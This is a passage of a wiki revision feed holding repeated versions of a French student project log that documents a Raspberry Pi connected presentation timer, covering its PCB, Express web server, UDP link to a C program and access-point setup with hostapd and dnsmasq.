| Permet d'afficher les commentaires et un timer approximatif, qui vire au rouge lorsque&lt;br /&gt;
le temps devient critique (&amp;lt;2 minutes)&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Les routes étant fixés et définies, nous pouvons passer à la réalisation.&lt;br /&gt;
&lt;br /&gt;
==Séance 4==&lt;br /&gt;
&lt;br /&gt;
===Carte électronique===&lt;br /&gt;
&lt;br /&gt;
Lors de cette séance, nous avons pu terminer la carte. Le schematic final est le suivant : &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:SchematicP4IOT.png|center|1000px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Le PCB est le suivant : &lt;br /&gt;
&lt;br /&gt;
[[Fichier:RoutageP4IOT.png|center|1000px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Serveur web===&lt;br /&gt;
Afin de pouvoir communiquer avec le programme principal manipulant le véritable timer, il est nécessaire d'implémenter une sorte de communication inter-processus. Le choix est porté sur la mise en place d'une liaison sockets UDP, qui sont plus pratique dans notre cas que des sockets basés sur TCP.&lt;br /&gt;
Ainsi, le module 'dgram' (pour datagram, de UDP datagram socket), permet d'écouter pour un 'datagram' sur un port particulier, ou simplement de broadcaster un message. &lt;br /&gt;
Le serveur web permettra ainsi d'envoyer la valeur du timer en secondes, tandis que le programme principal en C écoutera sur un port spécifié, et lancera le timer dès la réception de la valeur.  &lt;br /&gt;
Le code permettant l'envoi d'un message par socket UDP est simple à réaliser :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Dgramtimer.png|600px]]&lt;br /&gt;
&lt;br /&gt;
Nous avons décidés que le timer affiché sur les pages web est simplement à titre indicatif, soit, il ne représente pas réellement le véritable timer, dont la valeur est affiché sur les afficheurs 7 segments. Ce choix à été fait en raison du fait que nodejs et express ne tournent uniquement que sur un thread et ne permettent pas d'écouter sur un port et de rafraichir la page dès une réception.&lt;br /&gt;
Ainsi, dès le choix de la valeur du timer, nous sauvegardons la timestamp de fin de celui-ci et lançons le timer pour un compte à rebours vers cette valeur.&lt;br /&gt;
&lt;br /&gt;
Les commentaires quant à eux sont enregistrés dans un fichier sous format JSON, et dans le cas d'une requête GET, une lecture de ce fichier est réalisée et les commentaires affichés, tandis que dans le cas d'une requête POST, le fichier est réécris en mémoire avec le nouveau commentaire.&lt;br /&gt;
L'identifiant d'un professeur commentant est défini sur le formulaire de choix du timer en ne spécifiant que le champ identifiant. La valeur de ce dernier est enregistré dans un cookie de navigateur.&lt;br /&gt;
Les informations relatives au timer, au nom de l'étudiant et au créateur du timer sont enregistrés dans un autre fichier JSON et récupérés au besoin.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Entreeiot.png|300px]]&lt;br /&gt;
[[Fichier:CHOIXIOT.png|300px]]&lt;br /&gt;
[[Fichier:TimerProf.png|300px]]&lt;br /&gt;
&lt;br /&gt;
==Séance 5==&lt;br /&gt;
&lt;br /&gt;
===Gravure de la carte électronique===&lt;br /&gt;
&lt;br /&gt;
Après avoir récupéré la carte gravée, nous nous sommes rendu compte qu'il y avait eu un problème de perçage. En effet, certains trous non présents sur le schéma de routage se trouvaient la carte, d'autres n'étaient pas du tout présent ou alors pas à la bonne place. Pourtant, nous n’apercevions aucun problème lors de la vérification des fichiers gerber avec http://www.gerber-viewer.com/. Nous avons alors passé pas mal de temps à rechercher la cause du problème avec Monsieur Flamen. Finalement, le problème provenait de la génération des fichiers gerber. Après avoir corrigé le problème, la carte a pu être regravée correctement.&lt;br /&gt;
&lt;br /&gt;
===Configuration de la raspberry pi===&lt;br /&gt;
&lt;br /&gt;
Nous configurons la raspberry afin d'agir en tant que point d'accès afin de pouvoir accéder à l'interface web : &lt;br /&gt;
&lt;br /&gt;
Nous installons tout d'abord les paquets dnsmasq et hostapd, permettant de configurer le point d'accès et fournir le service DNS :&lt;br /&gt;
    $ sudo apt-get install dnsmasq hostapd&lt;br /&gt;
&lt;br /&gt;
Nous modifions le fichier  de configuration de dhcpcd en ajoutant : &lt;br /&gt;
    interface wlan0&lt;br /&gt;
        static ip_address=192.168.4.1/24&lt;br /&gt;
        nohook wpa_supplicant&lt;br /&gt;
&lt;br /&gt;
Nous relançons ensuite le service dhcpcd.&lt;br /&gt;
&lt;br /&gt;
Nous modifions ensuite le fichier de configuration de dnsmasq, qui va définir la plage d'IPs à attribuer : &lt;br /&gt;
    interface=wlan0&lt;br /&gt;
      dhcp-range=192.168.4.2,192.168.4.20,255.255.255.0,24h&lt;br /&gt;
&lt;br /&gt;
Enfin, nous écrivons la configuration de notre point d'accès dans un fichier de configuration de hostapd : &lt;br /&gt;
&lt;br /&gt;
    interface=wlan0&lt;br /&gt;
    driver=nl80211&lt;br /&gt;
    ssid=TimerIOT&lt;br /&gt;
    hw_mode=g&lt;br /&gt;
    channel=7&lt;br /&gt;
    wmm_enabled=0&lt;br /&gt;
    macaddr_acl=0&lt;br /&gt;
    auth_algs=1&lt;br /&gt;
    ignore_broadcast_ssid=0&lt;br /&gt;
    wpa=2&lt;br /&gt;
    wpa_passphrase=timeriot&lt;br /&gt;
    wpa_key_mgmt=WPA-PSK&lt;br /&gt;
    wpa_pairwise=TKIP&lt;br /&gt;
    rsn_pairwise=CCMP&lt;br /&gt;
&lt;br /&gt;
Enfin, nous lançons les processus hostapd et dnsmasq : &lt;br /&gt;
 $ sudo systemctl start hostapd&lt;br /&gt;
 $ sudo systemctl start dnsmasq&lt;br /&gt;
&lt;br /&gt;
Nous rebootons enfin la raspberry. La page web est ainsi accessible en se connectant au point d'accès et en tapant http://192.168.4.1:3000 dans le navigateur.&lt;br /&gt;
&lt;br /&gt;
===Programme Raspberry===&lt;br /&gt;
&lt;br /&gt;
Pendant cette séance nous avons également finaliser le programme de la Raspberry et installer les librairies qui permettent d'utiliser le registre à décalage et les GPIO &amp;lt;code&amp;gt;WiringPi&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Dans ce programme, après les initialisations, une socket UDP est crée pour recevoir la valeur initiale du Timer depuis le serveur web. La socket est par la suite fermée et le message reçu converti en Entier. Puis deux threads sont lancés : Le premier qui permet le calcul du Timer en se basant sur la valeur initial et en utilisant l'horloge physique de la Raspberry (fonction : &amp;lt;code&amp;gt;clock_gettime(CLOCK_REALTIME, &amp;amp;&amp;lt;timespec&amp;gt;);&amp;lt;/code&amp;gt;), le deuxième thread contrôle les 7-segements après l'avoir parser en unités et dizaines. Les deux threads communiquent entre eux avec un pipe et un système de verrou pour synchroniser l'envoie et la réception. Finalement les threads et le pipe sont fermés proprement.&lt;br /&gt;
&lt;br /&gt;
Ce programme affiche les valeurs supérieurs à 99 secondes en minutes et celle inférieurs à 99 secondes en seconde. Le programme et disponible sur le git : https://github.com/ael-mess/raspberry-pi-timer/blob/master/pi.c&lt;br /&gt;
&lt;br /&gt;
==Séance 6==&lt;br /&gt;
&lt;br /&gt;
Durant cette séance nous avons combiner les deux programmes, et automatiser leurs lancement. Nous avons crée un script shell qui lance le serveur web, puis dans une boucle infini lance le Timer puis supprime les fichiers .json du controllers du serveur web à la fin de chaque timer. Ce script à était mis dans &amp;lt;code&amp;gt;/etc/.rclocal&amp;lt;/code&amp;gt; de la Raspberry en tache de fond, pour qu'il puissent être lancer à chaque allumage de la Raspberry même avant le loging.&lt;br /&gt;
&lt;br /&gt;
===Test===&lt;br /&gt;
&lt;br /&gt;
Pendant cette dernière séance nous avons également souder une partie de nos composants pour faire des tests. Le test de la partie électronique à révéler un comportement anormal du circuit : des segments de leds restent allumer sans que aucune tension sur la base des transistors ne soit appliquée. Nous nous sommes assuré de corriger toutes les erreurs de soudure/contact mais nous n'avions pas pu trouver la source du problème. L’hypothèse qui ont était émise est que la carte n'aillant pas était nettoyé avant la soudure, le contact n'était pas pareil pour tous les composants, et du coup le potentiel entre deux points reliées n'était pas identique (M.Thierry Flamen).&lt;br /&gt;
&lt;br /&gt;
La partie logiciel elle, marche très bien sans aucun comportement anormal.&lt;br /&gt;
&lt;br /&gt;
===Amélioration si plus temps===&lt;br /&gt;
&lt;br /&gt;
- prendre plus de temps pour réaliser et tester la partie hardware.&lt;br /&gt;
&lt;br /&gt;
- utiliser la socket pour l'envoie de chaque valeur du timer et non que pour la valeur initial. (parce que le timer calculer par le serveur web utilise la date de la Raspberry et n'est pas précis)&lt;br /&gt;
&lt;br /&gt;
==Flyer==&lt;br /&gt;
[[Fichier:Flyer timer iot.jpeg|800px|center]]&lt;/div&gt;</summary>
		<author><name>Mcreteur</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_IOT_2018&amp;diff=49609</id>
		<title>P4 IOT 2018</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_IOT_2018&amp;diff=49609"/>
				<updated>2019-01-26T18:17:59Z</updated>
		
		<summary type="html">&lt;p&gt;Mcreteur : /* Carte électronique */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Présentation du sujet =&lt;br /&gt;
&lt;br /&gt;
==Contexte==&lt;br /&gt;
&lt;br /&gt;
Prenons le cas d'une soutenance de quatrième année, strictement limitée en temps. On ne voudrait surtout pas rater cette dernière et ne pas avoir l'occasion de passer en revue l'ensemble de ses slides ! Le jury ne souhaite cependant pas faire office d'arbitre ou d'interrompre la personne soutenant. Ainsi, un timer connecté permettant d'indiquer le temps restant aux deux parties est placé sur la table. Ce timer fait également office de point d'accès et permet de se connecter à une page web ou les enseignants peuvent noter des commentaires que l'étudiant peut observer en temps réel.&lt;br /&gt;
&lt;br /&gt;
==Description du projet==&lt;br /&gt;
&lt;br /&gt;
Le projet consiste donc à réaliser un timer connecté, disposant de 4 afficheurs 7 segments, dont deux feront face à l'étudiant et les deux autres au jury. Nous utilisons une raspberry pi 3, et nous basons ainsi notre timer sur le timer ARM de cette dernière. La raspberry fait également office de point d'accès permettant de délivrer une page web qui permet de configurer le timer.&lt;br /&gt;
Le code controllant les afficheurs 7 segments sera réalisé en C.&lt;br /&gt;
Le serveur web sera basé sur le framework express de node js.&lt;br /&gt;
Le PCB sera réalisé sous Eagle.&lt;br /&gt;
&lt;br /&gt;
=Réalisation=&lt;br /&gt;
&lt;br /&gt;
==Matériel utilisé==&lt;br /&gt;
&lt;br /&gt;
* 1 Raspberry pi 3&lt;br /&gt;
* 4 afficheurs 7 segments [http://www.kingbrightusa.com/images/catalog/SPEC/SA23-11SRWA.pdf SA23-11SRWA]&lt;br /&gt;
* 16 transistors PNP [http://njsemi.com/datasheets/2N2894.pdf 2N2894]&lt;br /&gt;
* 2 multiplexeurs [https://www.diodes.com/assets/Datasheets/74HCT595.pdf 74HCT595]&lt;br /&gt;
* 16 résistances 56 Ohms&lt;br /&gt;
* 16 résistances 1,2kOhms&lt;br /&gt;
* 2 capacités 100nF&lt;br /&gt;
* 1 capacité 10uF&lt;br /&gt;
&lt;br /&gt;
==Séance 1==&lt;br /&gt;
&lt;br /&gt;
===Recherche d'un sujet et clarification du cahier des charges===&lt;br /&gt;
&lt;br /&gt;
Après avoir passé du temps à rechercher un sujet, nous nous sommes orienté vers le sujet proposé par les encadrants, le timer connecté. Nous avons alors passé le reste de la séance à effectuer des recherches sur le matériel à utiliser ainsi qu'à définir les fonctionnalités que présentera notre timer. Les fonctionnalités retenues sont les suivantes : &lt;br /&gt;
&lt;br /&gt;
- Une application mobile permettra de contrôler le timer&lt;br /&gt;
&lt;br /&gt;
- Si l'utilisateur est un membre du jury, il pourra modifier le timer&lt;br /&gt;
&lt;br /&gt;
- Si l'utilisateur est une personne qui soutient, il ne pourra que consulter le timer&lt;br /&gt;
&lt;br /&gt;
- Un système de vote sera disponible à partir de l'application&lt;br /&gt;
&lt;br /&gt;
- Lorsqu'il restera 2 minutes sur le timer, le téléphone de l'utilisateur vibrera&lt;br /&gt;
&lt;br /&gt;
- Le timer sera double face afin qu'il soit visible par le jury et l'étudiant&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Finalement, nous avons été amené à revoir les fonctionnalités proposées au cours du projet par manque de temps. L'application a été remplacé par un site web. Le système de vote n'a pas été mis en place mais le membre du jury peut écrire des commentaires à la personne qui soutient à travers le site web. La fonctionnalité de vibration à été remplacée par un système de modification de la coloration du timer présent sur le site web à partir d'un certain temps restant.&lt;br /&gt;
&lt;br /&gt;
Pendant cette séance, nous avons également établit une liste du matériel que nous utiliserons : une Raspberry pi pour faire tourner le serveur accessible en wifi, un transformateur 230VAC vers 5VDC pour alimenter la Raspberry, des afficheurs 7-segments, et un driver de leds pour utiliser le moins de sortie possible.&lt;br /&gt;
&lt;br /&gt;
==Séance 2==&lt;br /&gt;
&lt;br /&gt;
===Structuration du projet===&lt;br /&gt;
&lt;br /&gt;
Lors de cette séance, des afficheurs 7-segments nous ont été fournis. Cependant, ils présentent la particularité d'être alimenté avec 12V. Les alimenter directement par la Raspberry qui elle peut fournir 5V n'est donc pas possible. &lt;br /&gt;
&lt;br /&gt;
Nous anons essayé de trouver une solution pour le contrôle des LED. Nous en avons retenu deux : &lt;br /&gt;
&lt;br /&gt;
- Utiliser des pilotes de LED [http://www.ti.com/lit/ds/symlink/tlc5947.pdf TLC5947] &lt;br /&gt;
&lt;br /&gt;
- Utiliser des transistors&lt;br /&gt;
&lt;br /&gt;
Nous avons alors décidé de partir sur les pilotes de LED pour plus de simplicité, ces derniers gérant eux mêmes le courant fournis aux LED. Après avoir pris cette décision, nous avons débuté la conception de la carte sous Eagle. Nous avons choisi ce logiciel car les toutes les footprint des composants utilisés sont disponibles sur le net.&lt;br /&gt;
&lt;br /&gt;
Nous avons également pu trouver des bibliothèques python pour utiliser le pilote de leds, et commencer le programme. Nous utiliserons deux pilotes de leds en cascade que nous contrôlerons avec 3 GPIO de la Raspberry. Nous avons également prévu de rajouter un ATMega328p qui pourra lui aussi contrôler les pilotes si on modifie la position de trois jumper. L'ATMega sera relié à la Raspberry en série pour qu'il puissent être programmé à travers elle.&lt;br /&gt;
&lt;br /&gt;
Pour alimenter le device, nous avons ajouté à notre liste de matériel un transformateur 230VAC vers 12VDC pour alimenter les leds ainsi qu'un régulateur 12VDC vers 5VDC pour alimenter la Raspberry (2A). Ensuite la Raspberry se chargera d'alimenter les pilote de leds et l'ATMega328p.&lt;br /&gt;
&lt;br /&gt;
==Séance 3==&lt;br /&gt;
&lt;br /&gt;
===Carte électronique===&lt;br /&gt;
Durant cette séance nous avons finalisé le routage de la carte électronique suivant le circuit précédemment définit, et nous avons installé les librairies nécessaire à la programmation des pilotes de leds.&lt;br /&gt;
&lt;br /&gt;
Nous avons également testé les 7-segments qui nous ont été fournit, et nous nous sommes rendus compte qu'ils étaient à cathode commune et donc fonctionnaient différemment de ce qui était indiqué sur la datasheet. Cela pose un problème puisque les pilotes de LED dont nous disposons ne sont pas compatibles avec cette configuration. Nous avons donc du nous tourner vers l'autre solution pour le contrôle des leds, celle avec les transistors. Disposant de 4 afficheurs à 7segments (+ le point), les GPIO de la Raspberry ne sont pas assez nombreux, nous avons donc du utiliser des registre à décalage pour contrôler toutes les sorties.&lt;br /&gt;
&lt;br /&gt;
Nous avons alors passé cette séance à étudier les datasheet des différents composants et à établir un nouveau schéma pour la carte.&lt;br /&gt;
&lt;br /&gt;
Les afficheurs 7-segments de devant ayant à afficher la même chose que ceux de derrière, nous les connecterons entre eux afin réduire de moitié la quantité de composants à utiliser.&lt;br /&gt;
&lt;br /&gt;
===programme Raspberry===&lt;br /&gt;
&lt;br /&gt;
Durant cette séance, nous avons également penser au soft qui sera embarqué dans la Raspberry. Nous avions décidé de configurer la Raspberry en accesspoint WiFi et de faire tourner un serveur web qui sera accessible lorsque l'utilisateur se connecte au WiFi de la Raspberry. En parallèle, un autre programme tournera sur la Raspberry et s'occupera du calcul du Timer et du contrôle des leds. pour que le programme puisse communiquer avec le serveur nous avons plusieurs solutions que nous allons étudier : ipc, socket, écriture/lecture dans des fichiers.&lt;br /&gt;
&lt;br /&gt;
===Serveur web===&lt;br /&gt;
&lt;br /&gt;
Selon la définition Wikipédia, Express est un framework nodejs permettant de mettre en place des applications web. Il s'agit du framework le plus utilisé dans ce but sous l'environnement NodeJS.&lt;br /&gt;
N'ayant jamais utilisé Express, nous avons dû se renseigner sur son fonctionnement et se documenter sur les possibilités du framework. &lt;br /&gt;
Express est basé sur une architecture typique MVC (Model-View-Controller). Nous pouvons définir des middlewares permettant de capturer les requêtes, de réaliser un traitement préalable, puis de renvoyer la page. Pour cela, il suffit de définir des routes, qui définirons les différentes requêtes HTTP possibles.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! style=&amp;quot;text-align: center; font-weight:bold;&amp;quot; | Route&lt;br /&gt;
! style=&amp;quot;text-align: center; font-weight:bold;&amp;quot; | Méthode&lt;br /&gt;
! style=&amp;quot;text-align: center; font-weight:bold;&amp;quot; | Description&lt;br /&gt;
|-&lt;br /&gt;
| /&lt;br /&gt;
| GET&lt;br /&gt;
| Permet de réaliser un choix entre l'interface enseignant et étudiant&lt;br /&gt;
|-&lt;br /&gt;
| /prof&lt;br /&gt;
| GET&lt;br /&gt;
| Permet de parametrer le timer, en informant le nom du créateur du timer,&lt;br /&gt;
la durée de celui-ci en minutes, et l'étudiant en question.&lt;br /&gt;
|-&lt;br /&gt;
| /prof/timer&lt;br /&gt;
| GET&lt;br /&gt;
| Si un timer est configuré, affiche ce dernier, ainsi qu'un formulaire permettant &lt;br /&gt;
d'envoyer un commentaire.&lt;br /&gt;
|-&lt;br /&gt;
| /prof/timer&lt;br /&gt;
| POST&lt;br /&gt;
| Permet de traiter soit un nouveau commentaire, soit de lancer le timer&lt;br /&gt;
|-&lt;br /&gt;
| /etudiant&lt;br /&gt;
| GET&lt;br /&gt;
| Permet d'afficher les commentaires et un timer approximatif, qui vire au rouge lorsque&lt;br /&gt;
le temps devient critique (&amp;lt;2 minutes)&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Les routes étant fixés et définies, nous pouvons passer à la réalisation.&lt;br /&gt;
&lt;br /&gt;
==Séance 4==&lt;br /&gt;
&lt;br /&gt;
===Carte électronique===&lt;br /&gt;
&lt;br /&gt;
Lors de cette séance, nous avons pu terminer la carte. Le schematic final est le suivant : &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:SchematicP4IOT.png|center|1000px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Le PCB est le suivant : &lt;br /&gt;
&lt;br /&gt;
[[Fichier:RoutageP4IOT.png|center|1000px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Serveur web===&lt;br /&gt;
Afin de pouvoir communiquer avec le programme principal manipulant le véritable timer, il est nécessaire d'implémenter une sorte de communication inter-processus. Le choix est porté sur la mise en place d'une liaison sockets UDP, qui sont plus pratique dans notre cas que des sockets basés sur TCP.&lt;br /&gt;
Ainsi, le module 'dgram' (pour datagram, de UDP datagram socket), permet d'écouter pour un 'datagram' sur un port particulier, ou simplement de broadcaster un message. &lt;br /&gt;
Le serveur web permettra ainsi d'envoyer la valeur du timer en secondes, tandis que le programme principal en C écoutera sur un port spécifié, et lancera le timer dès la réception de la valeur.  &lt;br /&gt;
Le code permettant l'envoi d'un message par socket UDP est simple à réaliser :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Dgramtimer.png|600px]]&lt;br /&gt;
&lt;br /&gt;
Nous avons décidés que le timer affiché sur les pages web est simplement à titre indicatif, soit, il ne représente pas réellement le véritable timer, dont la valeur est affiché sur les afficheurs 7 segments. Ce choix à été fait en raison du fait que nodejs et express ne tournent uniquement que sur un thread et ne permettent pas d'écouter sur un port et de rafraichir la page dès une réception.&lt;br /&gt;
Ainsi, dès le choix de la valeur du timer, nous sauvegardons la timestamp de fin de celui-ci et lançons le timer pour un compte à rebours vers cette valeur.&lt;br /&gt;
&lt;br /&gt;
Les commentaires quant à eux sont enregistrés dans un fichier sous format JSON, et dans le cas d'une requête GET, une lecture de ce fichier est réalisée et les commentaires affichés, tandis que dans le cas d'une requête POST, le fichier est réécris en mémoire avec le nouveau commentaire.&lt;br /&gt;
L'identifiant d'un professeur commentant est défini sur le formulaire de choix du timer en ne spécifiant que le champ identifiant. La valeur de ce dernier est enregistré dans un cookie de navigateur.&lt;br /&gt;
Les informations relatives au timer, au nom de l'étudiant et au créateur du timer sont enregistrés dans un autre fichier JSON et récupérés au besoin.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Entreeiot.png|300px]]&lt;br /&gt;
[[Fichier:CHOIXIOT.png|300px]]&lt;br /&gt;
[[Fichier:TimerProf.png|300px]]&lt;br /&gt;
&lt;br /&gt;
==Séance 5==&lt;br /&gt;
&lt;br /&gt;
===Gravure de la carte électronique===&lt;br /&gt;
&lt;br /&gt;
Après avoir récupéré la carte gravée, nous nous sommes rendu compte qu'il y avait eu un problème de perçage. En effet, certains trous non présents sur le schéma de routage se trouvaient la carte, d'autres n'étaient pas du tout présent ou alors pas à la bonne place. Pourtant, nous n’apercevions aucun problème lors de la vérification des fichiers gerber avec http://www.gerber-viewer.com/. Nous avons alors passé pas mal de temps à rechercher la cause du problème avec Monsieur Flamen. Finalement, le problème provenait de la génération des fichiers gerber. Après avoir corrigé le problème, la carte a pu être regravée correctement.&lt;br /&gt;
&lt;br /&gt;
===Configuration de la raspberry pi===&lt;br /&gt;
&lt;br /&gt;
Nous configurons la raspberry afin d'agir en tant que point d'accès afin de pouvoir accéder à l'interface web : &lt;br /&gt;
&lt;br /&gt;
Nous installons tout d'abord les paquets dnsmasq et hostapd, permettant de configurer le point d'accès et fournir le service DNS :&lt;br /&gt;
    $ sudo apt-get install dnsmasq hostapd&lt;br /&gt;
&lt;br /&gt;
Nous modifions le fichier  de configuration de dhcpcd en ajoutant : &lt;br /&gt;
    interface wlan0&lt;br /&gt;
        static ip_address=192.168.4.1/24&lt;br /&gt;
        nohook wpa_supplicant&lt;br /&gt;
&lt;br /&gt;
Nous relançons ensuite le service dhcpcd.&lt;br /&gt;
&lt;br /&gt;
Nous modifions ensuite le fichier de configuration de dnsmasq, qui va définir la plage d'IPs à attribuer : &lt;br /&gt;
    interface=wlan0&lt;br /&gt;
      dhcp-range=192.168.4.2,192.168.4.20,255.255.255.0,24h&lt;br /&gt;
&lt;br /&gt;
Enfin, nous écrivons la configuration de notre point d'accès dans un fichier de configuration de hostapd : &lt;br /&gt;
&lt;br /&gt;
    interface=wlan0&lt;br /&gt;
    driver=nl80211&lt;br /&gt;
    ssid=TimerIOT&lt;br /&gt;
    hw_mode=g&lt;br /&gt;
    channel=7&lt;br /&gt;
    wmm_enabled=0&lt;br /&gt;
    macaddr_acl=0&lt;br /&gt;
    auth_algs=1&lt;br /&gt;
    ignore_broadcast_ssid=0&lt;br /&gt;
    wpa=2&lt;br /&gt;
    wpa_passphrase=timeriot&lt;br /&gt;
    wpa_key_mgmt=WPA-PSK&lt;br /&gt;
    wpa_pairwise=TKIP&lt;br /&gt;
    rsn_pairwise=CCMP&lt;br /&gt;
&lt;br /&gt;
Enfin, nous lançons les processus hostapd et dnsmasq : &lt;br /&gt;
 $ sudo systemctl start hostapd&lt;br /&gt;
 $ sudo systemctl start dnsmasq&lt;br /&gt;
&lt;br /&gt;
Nous rebootons enfin la raspberry. La page web est ainsi accessible en se connectant au point d'accès et en tapant http://192.168.4.1:3000 dans le navigateur.&lt;br /&gt;
&lt;br /&gt;
===Programme Raspberry===&lt;br /&gt;
&lt;br /&gt;
Pendant cette séance nous avons également finaliser le programme de la Raspberry et installer les librairies qui permettent d'utiliser le registre à décalage et les GPIO &amp;lt;code&amp;gt;WiringPi&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Dans ce programme, après les initialisations, une socket UDP est crée pour recevoir la valeur initiale du Timer depuis le serveur web. La socket est par la suite fermée et le message reçu converti en Entier. Puis deux threads sont lancés : Le premier qui permet le calcul du Timer en se basant sur la valeur initial et en utilisant l'horloge physique de la Raspberry (fonction : &amp;lt;code&amp;gt;clock_gettime(CLOCK_REALTIME, &amp;amp;&amp;lt;timespec&amp;gt;);&amp;lt;/code&amp;gt;), le deuxième thread contrôle les 7-segements après l'avoir parser en unités et dizaines. Les deux threads communiquent entre eux avec un pipe et un système de verrou pour synchroniser l'envoie et la réception. Finalement les threads et le pipe sont fermés proprement.&lt;br /&gt;
&lt;br /&gt;
Ce programme affiche les valeurs supérieurs à 99 secondes en minutes et celle inférieurs à 99 secondes en seconde. Le programme et disponible sur le git : https://github.com/ael-mess/raspberry-pi-timer/blob/master/pi.c&lt;br /&gt;
&lt;br /&gt;
==Séance 6==&lt;br /&gt;
&lt;br /&gt;
Durant cette séance nous avons combiner les deux programmes, et automatiser leurs lancement. Nous avons crée un script shell qui lance le serveur web, puis dans une boucle infini lance le Timer puis supprime les fichiers .json du controllers du serveur web à la fin de chaque timer. Ce script à était mis dans &amp;lt;code&amp;gt;/etc/.rclocal&amp;lt;/code&amp;gt; de la Raspberry en tache de fond, pour qu'il puissent être lancer à chaque allumage de la Raspberry même avant le loging.&lt;br /&gt;
&lt;br /&gt;
===Test===&lt;br /&gt;
&lt;br /&gt;
Pendant cette dernière séance nous avons également souder une partie de nos composants pour faire des tests. Le test de la partie électronique à révéler un comportement anormal du circuit : des segments de leds restent allumer sans que aucune tension sur la base des transistors ne soit appliquée. Nous nous sommes assuré de corriger toutes les erreurs de soudure/contact mais nous n'avions pas pu trouver la source du problème. L’hypothèse qui ont était émise est que la carte n'aillant pas était nettoyé avant la soudure, le contact n'était pas pareil pour tous les composants, et du coup le potentiel entre deux points reliées n'était pas identique (M.Thierry Flamen).&lt;br /&gt;
&lt;br /&gt;
La partie logiciel elle, marche très bien sans aucun comportement anormal.&lt;br /&gt;
&lt;br /&gt;
===Amélioration si plus temps===&lt;br /&gt;
&lt;br /&gt;
- prendre plus de temps pour réaliser et tester la partie hardware.&lt;br /&gt;
&lt;br /&gt;
- utiliser la socket pour l'envoie de chaque valeur du timer et non que pour la valeur initial. (parce que le timer calculer par le serveur web utilise la date de la Raspberry et n'est pas précis)&lt;br /&gt;
&lt;br /&gt;
==Flyer==&lt;br /&gt;
[[Fichier:Flyer timer iot.jpeg|800px|center]]&lt;/div&gt;</summary>
		<author><name>Mcreteur</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_IOT_2018&amp;diff=49608</id>
		<title>P4 IOT 2018</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_IOT_2018&amp;diff=49608"/>
				<updated>2019-01-26T18:16:24Z</updated>
		
		<summary type="html">&lt;p&gt;Mcreteur : /* Structuration du projet */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Présentation du sujet =&lt;br /&gt;
&lt;br /&gt;
==Contexte==&lt;br /&gt;
&lt;br /&gt;
Prenons le cas d'une soutenance de quatrième année, strictement limitée en temps. On ne voudrait surtout pas rater cette dernière et ne pas avoir l'occasion de passer en revue l'ensemble de ses slides ! Le jury ne souhaite cependant pas faire office d'arbitre ou d'interrompre la personne soutenant. Ainsi, un timer connecté permettant d'indiquer le temps restant aux deux parties est placé sur la table. Ce timer fait également office de point d'accès et permet de se connecter à une page web ou les enseignants peuvent noter des commentaires que l'étudiant peut observer en temps réel.&lt;br /&gt;
&lt;br /&gt;
==Description du projet==&lt;br /&gt;
&lt;br /&gt;
Le projet consiste donc à réaliser un timer connecté, disposant de 4 afficheurs 7 segments, dont deux feront face à l'étudiant et les deux autres au jury. Nous utilisons une raspberry pi 3, et nous basons ainsi notre timer sur le timer ARM de cette dernière. La raspberry fait également office de point d'accès permettant de délivrer une page web qui permet de configurer le timer.&lt;br /&gt;
Le code controllant les afficheurs 7 segments sera réalisé en C.&lt;br /&gt;
Le serveur web sera basé sur le framework express de node js.&lt;br /&gt;
Le PCB sera réalisé sous Eagle.&lt;br /&gt;
&lt;br /&gt;
=Réalisation=&lt;br /&gt;
&lt;br /&gt;
==Matériel utilisé==&lt;br /&gt;
&lt;br /&gt;
* 1 Raspberry pi 3&lt;br /&gt;
* 4 afficheurs 7 segments [http://www.kingbrightusa.com/images/catalog/SPEC/SA23-11SRWA.pdf SA23-11SRWA]&lt;br /&gt;
* 16 transistors PNP [http://njsemi.com/datasheets/2N2894.pdf 2N2894]&lt;br /&gt;
* 2 multiplexeurs [https://www.diodes.com/assets/Datasheets/74HCT595.pdf 74HCT595]&lt;br /&gt;
* 16 résistances 56 Ohms&lt;br /&gt;
* 16 résistances 1,2kOhms&lt;br /&gt;
* 2 capacités 100nF&lt;br /&gt;
* 1 capacité 10uF&lt;br /&gt;
&lt;br /&gt;
==Séance 1==&lt;br /&gt;
&lt;br /&gt;
===Recherche d'un sujet et clarification du cahier des charges===&lt;br /&gt;
&lt;br /&gt;
Après avoir passé du temps à rechercher un sujet, nous nous sommes orienté vers le sujet proposé par les encadrants, le timer connecté. Nous avons alors passé le reste de la séance à effectuer des recherches sur le matériel à utiliser ainsi qu'à définir les fonctionnalités que présentera notre timer. Les fonctionnalités retenues sont les suivantes : &lt;br /&gt;
&lt;br /&gt;
- Une application mobile permettra de contrôler le timer&lt;br /&gt;
&lt;br /&gt;
- Si l'utilisateur est un membre du jury, il pourra modifier le timer&lt;br /&gt;
&lt;br /&gt;
- Si l'utilisateur est une personne qui soutient, il ne pourra que consulter le timer&lt;br /&gt;
&lt;br /&gt;
- Un système de vote sera disponible à partir de l'application&lt;br /&gt;
&lt;br /&gt;
- Lorsqu'il restera 2 minutes sur le timer, le téléphone de l'utilisateur vibrera&lt;br /&gt;
